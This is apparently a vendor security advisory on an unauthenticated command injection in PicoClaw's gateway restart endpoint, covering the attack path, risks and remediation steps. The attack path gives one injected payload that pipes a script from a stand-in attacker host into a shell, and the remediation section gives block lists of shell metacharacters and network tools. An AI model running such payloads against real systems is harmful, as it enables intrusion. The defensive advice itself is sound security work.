PicoClaw Management Plane Gone Wrong: Unauthenticated RCE in Gateway Restart
TL;DR
PicoClaw versions up to 0.2.4 expose an unauthenticated command injection in the /api/gateway/restart endpoint that allows remote attackers to execute arbitrary commands on the Web Launcher Management Plane with zero privileges required. The vendor has been notified but has not released a patch. This is a Priority 1 threat for any organization running internet-accessible PicoClaw instances.
What Happened
Security researchers discovered a command injection vulnerability in PicoClaw's Web Launcher Management Plane—specifically in the /api/gateway/restart endpoint. The vulnerability allows attackers to remotely manipulate input parameters to inject and execute arbitrary shell commands on the underlying system. No authentication or user interaction is required; the attack is network-accessible and trivially exploitable.
The vulnerability affects PicoClaw versions 0.2.0 through 0.2.4. The PicoClaw development team was notified early through a GitHub issue (#2307) but has not yet released a patch or advisory. As of April 25, 2026, no public proof-of-concept exists, but the attack surface is clear and the barrier to exploitation is extremely low.
Technical Details
Vulnerable Component: Web Launcher Management Plane
Endpoint: /api/gateway/restart
Attack Vector: Network (AV:N)
Privileges Required: None (PR:N)
User Interaction: None (UI:N)
Impact: Confidentiality (Low), Integrity (Low), Availability (Low)
The core issue: input validation is missing or insufficient in the restart endpoint. When a restart is triggered, the application constructs and executes system commands—likely shell invocations—without properly sanitizing or escaping attacker-supplied parameters. An attacker can inject shell metacharacters (;, |, &&, backticks, $(), etc.) to break out of the intended command and execute arbitrary code.
Most Likely Attack Path:
1. Attacker reaches /api/gateway/restart over the network (no authentication required).
2. Attacker supplies a crafted parameter containing command injection payloads, e.g.: restart_param=; curl attacker.com/shell.sh | sh.
3. The application constructs a command like restart_service restart_param, which becomes restart_service ; curl attacker.com/shell.sh | sh.
4. The shell interprets the semicolon as a command separator, executing the injected curl command.
5. Attacker gains arbitrary code execution on the management plane.
Why This Matters for Management Planes:
Management plane compromise is particularly dangerous because:
- Lateral movement: A compromised management plane often has broad network access and administrative credentials.
- Persistence: Attackers can inject scheduled tasks, backdoors, or rootkits to maintain access.
- Platform-wide impact: Unlike application-layer vulnerabilities, management plane RCE can affect all dependent services.
- Credential harvesting: Management systems often store API keys, database credentials, and other secrets.
Lyrie Assessment
The Lyrie Angle:
PicoClaw is a gateway automation and orchestration tool—part of the expanding "infrastructure-as-code" and "operations automation" stack that's increasingly being put into the hands of AI agents and autonomous systems. A command injection in the management plane of such tools is precisely the kind of vulnerability that autonomous defense systems (like Lyrie) are designed to detect and contain before it becomes operational.
Why CISOs Should Care:
1. Zero Patch Available: This is not a "apply the Tuesday patch" scenario. Organizations must implement compensating controls immediately.
2. Broad Deployment: Automation platforms like PicoClaw are increasingly popular in DevOps and platform engineering teams. If yours is internet-exposed, you're vulnerable.
3. Automation Targets: As organizations shift to agentic systems for operations, gateway/orchestration tools become critical nodes in the supply chain. A compromise here can cascade.
4. Detection Gap: Because the vulnerable endpoint is /api/gateway/restart, it may not be monitored as heavily as user-facing APIs. Many WAF/SIEM rules won't catch a malformed restart parameter.
Lyrie Verdict: ⚠️ CRITICAL REMEDIATION REQUIRED
This is not a "monitor and patch when available" vulnerability. Organizations running PicoClaw in any internet-accessible capacity must:
1. Restrict network access immediately (IP allowlisting, VPN, private networks only).
2. Disable the restart endpoint if not actively used.
3. Implement WAF rules to block requests to /api/gateway/restart containing shell metacharacters.
4. Monitor for exploitation via process-spawn logs, shell history, and unexpected child processes spawned from the PicoClaw service.
5. Track vendor updates and upgrade immediately once a patch is released.
Recommended Actions
Immediate (Today):
- [ ] Audit your network to identify all PicoClaw instances (internal scans, Shodan, Censys).
- [ ] Determine which are internet-accessible vs. internal-only.
- [ ] For any internet-accessible instances: take them offline or restrict to VPN/private IPs NOW.
- [ ] Review firewall and load-balancer rules to block direct access to
/api/gateway/restart.
Short-term (This Week):
- [ ] Document any PicoClaw restart operations that require remote access. Evaluate alternatives (SSH with IP allowlisting, private API keys, webhook validation).
- [ ] Implement Web Application Firewall (WAF) rules to detect/block suspicious parameters on
/api/gateway/restart:
- Block requests containing shell metacharacters: ;, |, &, $, backticks, (), {}, <, >.
- Block base64-encoded payloads (common obfuscation).
- [ ] Enable and review process audit logs on PicoClaw hosts (auditd, Sysmon, osquery).
- [ ] Set up alerts for unexpected child process spawning (e.g., curl, wget, bash, nc spawned from PicoClaw parent).
Ongoing:
- [ ] Monitor the PicoClaw GitHub repository and vendor communications for patch announcements.
- [ ] Plan for upgrade testing and deployment within 48 hours of patch release.
- [ ] Run threat hunts on systems running PicoClaw to detect any prior exploitation (check process history, network connections, file modifications on restart dates).
Sources
1. OffSeq Threat Radar — CVE-2026-6987 Command Injection in PicoClaw
2. RedPacket Security — CVE Alert: CVE-2026-6987 PicoClaw
3. TheHackerWire — CVE-2026-6987 High Vulnerability
4. PicoClaw GitHub Issue #2307
Lyrie.ai Cyber Research Division
Lyrie Verdict
Lyrie's autonomous defense layer flags this class of exposure the moment it surfaces — no signature update required.